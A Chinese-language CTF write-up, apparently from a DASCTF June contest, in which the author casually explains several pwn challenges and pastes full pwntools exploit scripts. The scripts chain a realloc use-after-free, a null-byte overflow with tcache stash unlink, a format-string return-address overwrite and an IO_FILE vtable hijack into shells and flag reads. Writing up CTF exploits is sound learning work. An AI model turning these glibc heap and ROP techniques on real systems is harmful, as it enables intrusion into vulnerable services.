感觉质量挺高的,有点昏迷,
这个题我是真的服了,恶心了我一天时间,最后还是没出,知道是要改got表,而且每次只能改一个字节,第一次改后变成ret之类的无用函数,我是不想说啥,没复现出来,贴下作者的分析把:
http://taqini.space/2020/06/26/DASCTF-June-Memory-Monster-IV-200pt/
我感觉能学到的东西不太多,至少知识是很简单的,就是你能不能调出来的问题。Orz。
这个题我其实一开始没找到洞,Whali3n51师傅一眼看出来了,Orz,
具体就是realloc函数的洞,当size=0时,heap会free掉,这样就形成了UAF了。知道这个洞,其实就很简单了,个人感觉是第一天内最好做的.
沙盒的话,用到了setcontext里的一段ROP,具体如下图所示
如图,如果我们能控制了rdi,也就可以控制所有寄存器。这里,我用这段ROP调用read函数,然后输入ORW的rop来读flag
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('oooorder')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./oooorder')
else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter("Your choice :\n","1")
p.sendlineafter("How much is the order?\n",str(size))
p.sendafter("Order notes:\n",content)
def edit(index,content):
p.sendlineafter("Your choice :\n","2")
p.sendlineafter("Index of order:\n",str(index))
p.sendafter("Order notes:\n",content)
def show():
p.sendlineafter("Your choice :\n","3")
def free(index):
p.sendlineafter("Your choice :\n","4")
p.sendlineafter("Index of order:\n",str(index))
for i in range(9):
add(0x100,"x")
add(0x10,"/bin/sh\x00")
add(0x10,'x')
add(0x10,'x')
for i in range(8):
free(i)
add(0,'x')
add(0,'x')
show()
p.recvuntil("[0]:")
main_arena=u64(p.recv(6).ljust(8,"\x00"))
print "main_arena=",hex(main_arena)
#--link addr
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=main_arena-(0x7f9cfbb15ca0-0x7f9cfb72a000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
setcontent_addr=libcbase_addr+libc.symbols["setcontext"]
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols['open']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']
p.sendlineafter("Your choice :\n","2")
p.sendlineafter("Index of order:\n","0")
free(9)
free(0)
free(1)
add(0x10,"\xa0")
show()
p.recvuntil("[0]:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))
orw=p64(pop_rdi_ret)+p64(heap_addr-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret) +p64(heap_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(heap_addr)+p64(puts_addr)+"flag\x00"
#---payload
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = heap_addr-0x400
frame.rcx = heap_addr-0x400
frame.rdx = 0x2000
frame.rsp = heap_addr-0x400
frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret;
payload = str(frame)
free(0)
free(10)
free(11)
add(0x100,orw)
add(0x10,p64(free_hook))
add(0x100,payload)
add(0x10,p64(setcontent_addr+0x35))
print "heap_addr=",hex(heap_addr)
#gdb.attach(p)
free(2)
p.sendline(orw)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10028,0)
这个题不太想说啥,空字节溢出,我当时做完oooooooorder后做的这个,我当时没做出来,因为我构造好了准备攻击malloc_hook
的时候,我才发现尼玛有沙盒!!吐了,真就全员沙盒。这样的话就需要重新分配堆块,使用tcache stash unlink
来在free_hook
附近加入0x7f头,俗话说一鼓作气再而衰,改需求一向是程序员大敌。当时我衰了,就没在配出来…
借鉴了L.o.W的exp:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn2')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn2')
else:
p = remote(ip,port)
def add(index,size,content):
p.sendlineafter("Your Choice: ","1")
p.sendlineafter("index>> ",str(index))
p.sendlineafter("size>> ",str(size))
p.sendafter("name>> ",content)
def free(index):
p.sendlineafter("Your Choice: ","2")
p.sendlineafter("index>> ",str(index))
def show(index):
p.sendlineafter("Your Choice: ","3")
p.sendlineafter("index>> ",str(index))
def edit(index,content):
p.sendlineafter("Your Choice: ","4")
p.sendlineafter("index>> ",str(index))
p.sendafter("name>> ",content)
for i in range(7):
add(0, 0x1f0, 'a')
free(0)
for i in range(7):
add(0, 0x160, 'a')
free(0)
for i in range(7):
add(0, 0x80, 'a')
free(0)
for i in range(7):
add(i, 0x68, 'a')
free(i)
for i in range(7):
add(0, 0xa0, 'a')
free(0)
for i in range(6):
add(0, 0x90, 'a')
free(0)
add(0, 0x1f8, 'a')
add(1, 0x1f0, 'a')
add(0x13, 0x10, 'a')
free(0)
add(0, 0xa0, 'a')
add(2, 0xa0, 'a')
free(0)
add(3, 0x98, 'a'*0x90 + p64(0x200))
free(1)
add(0, 0x160, 'a')
show(3)
p.recv(16)
main_arena=u64(p.recv(6).ljust(8,"\x00"))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=main_arena-(0x7f6c63123ca0-0x7f6c62d38000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
open_addr=libcbase_addr+libc.symbols["open"]
read_addr=libcbase_addr+libc.symbols["read"]
puts_addr=libcbase_addr+libc.symbols["puts"]
setcontext=libcbase_addr+libc.symbols['setcontext']
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
print "main_arena=",hex(main_arena)
add(1, 0x88, 'a')
free(0x13)
add(0x13, 0x1f0, 'a')
add(4, 0x1f8, 'a')
add(5, 0x10, 'a')
free(4)
add(4, 0x150, 'a')
add(6, 0x150, 'a')
free(0)
free(1)
add(0, 0x150, 'a')
add(1, 0x150, 'a')
show(3)
smallbin_fd = u64(p.recv(8))
add(7, 0x1f8, 'a')
add(8, 0x1f0, 'a')
add(9, 0x1f0, 'a')
free(7)
add(7, 0xa0, 'a')
add(10, 0xd0, 'a')
add(11, 0x68, 'a')
free(7)
free(11)
add(11, 0x68, 'a'*0x60+p64(0x200))
free(8)
add(7, 0x180, 'a')
add(8, 0x68, 'a')
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = smallbin_fd-0x400
frame.rcx = smallbin_fd-0x400
frame.rdx = 0x2000
frame.rsp = smallbin_fd-0x400
frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret;
payload = str(frame)
add(12, 0x1f0, payload)
free(8)
payload = p64(smallbin_fd)+ p64(free_hook-0x20)
edit(3, payload)
add(0x11, 0x98, 'a')
edit(11, p64(free_hook-0x13))
add(13, 0x68, 'a')
payload = 'a'*3 + p64(setcontext+0x35)
add(14, 0x68, payload)
gdb.attach(p)
free(12)
orw=p64(pop_rdi_ret)+p64(smallbin_fd-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(smallbin_fd)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(smallbin_fd)+p64(puts_addr)+"flag\x00"
p.sendline(orw)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10027,1)
这个简单,格式化字符串,利用栈空间内指向栈的指针来更改返回地址实现shell。
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('springboard')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./springboard')
else:
p = remote(ip,port)
p.sendlineafter("input your name:","%11$p")
p.recvuntil("0x")
libc_addr=int(p.recv(12),16)-231
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=libc_addr-libc.symbols["__libc_start_main"]
system_addr=libcbase_addr+libc.symbols["system"]
binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
one_ge=[0x4f2c5,0x4f322,0x10a38c]
shell_addr=libcbase_addr+one_ge[2]
syscall_2_4=int(str(hex(shell_addr))[6:10],16)
syscall_0_2=int(str(hex(shell_addr))[10:14],16)
p.sendlineafter("input your name:","%13$p") #---1
p.recvuntil("0x")
stack_addr=int(p.recv(12)[8:12],16)-0xe0
payload="%"+str(stack_addr)+"c%13$hn"
p.sendlineafter("input your name:",payload)#----2
payload="%"+str(syscall_0_2)+"c%39$hn"
p.sendlineafter("input your name:",payload)#----3
payload="%"+str(stack_addr+2)+"c%13$hn"
p.sendlineafter("input your name:",payload)#----4
payload="%"+str(syscall_2_4)+"c%39$hn"
p.sendlineafter("input your name:",payload)#----5
#gdb.attach(p,"b *$rebase(0x0956)")
p.sendlineafter("input your name:","a"*0x20)#----6
p.sendlineafter("input your name:","a"*0x20)#----7
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10029,0)
更改IO_file的vtable,当时我看的时候走了弯路,我想的是利用libc空间的stack指针来更改stack的返回地址,不过由于是修改两个字节,导致概率变低,如果是修改一个字节,概率是1/16,但修改两个字节就是1/16^3,我恐怕爆破到比赛结束也把太行。更改vtable面临的问题就是如何去绕过libc.2.29对vtable的检测, 这里有更改的是IO_stderr
,更改其vatble
为_IO_str_jumps
然后修改_IO_str_jumps
的指针为one_gadget就可以了。
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('secret')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./secret')
else:
p = remote(ip,port)
#gdb.attach(p)
p.recvuntil("secret:0x")
printf_addr=int(p.recv(12),16)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=printf_addr-libc.symbols["printf"]
stderr_addr=libcbase_addr+(0x7fbe49c97758-0x7fbe49ab2000)
p.sendafter("addr:\n",p64(stderr_addr))
print "stderr_addr=",hex(stderr_addr)
fake_std=int(str(hex(stderr_addr))[10:14],16)+0xec8
p.send(p16(fake_std))
one_ge=[0xe237f,0xe2383,0xe2386,0x106ef8]
p.send(p64(0)*2+p64(libcbase_addr+one_ge[2]))
p.sendline("cat flag >& 0")
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10030,1)
第一天跟Memory-Monster-IV杠上了,谁也没服谁,结果就是我输了,heap题其实都不太难,只不过麻烦一点,剩下没复现的俩题应该也都是堆,当时也没怎么细看,就暂时不复现了,后天期末了,老子不学了!